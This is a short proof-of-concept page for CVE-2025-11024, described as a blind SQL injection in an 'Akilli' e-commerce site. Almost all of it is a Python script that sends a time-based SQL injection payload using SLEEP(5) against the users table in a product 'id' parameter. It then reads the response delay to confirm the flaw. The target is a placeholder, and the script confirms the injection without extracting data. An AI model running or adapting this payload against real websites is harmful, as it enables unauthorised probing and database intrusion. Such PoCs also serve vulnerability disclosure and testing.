CVE-2025-11024 Akilli电商网站盲注漏洞

#!/usr/bin/env python3 # PoC for Blind SQL Injection in CVE-2025-11024 import requests import time target = "http://example.com/product" # Example Payload for Time-Based Blind SQL Injection # This payload attempts to delay the response if the condition is true payload = "1' AND (SELECT SLEEP(5) FROM users WHERE username='admin')-- -" params = {"id": payload} try: start_time = time.time() response = requests.get(target, params=params, timeout=10) end_time = time.time() if end_time - start_time > 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Not vulnerable or condition not met.") except Exception as e: print(f"Error: {e}")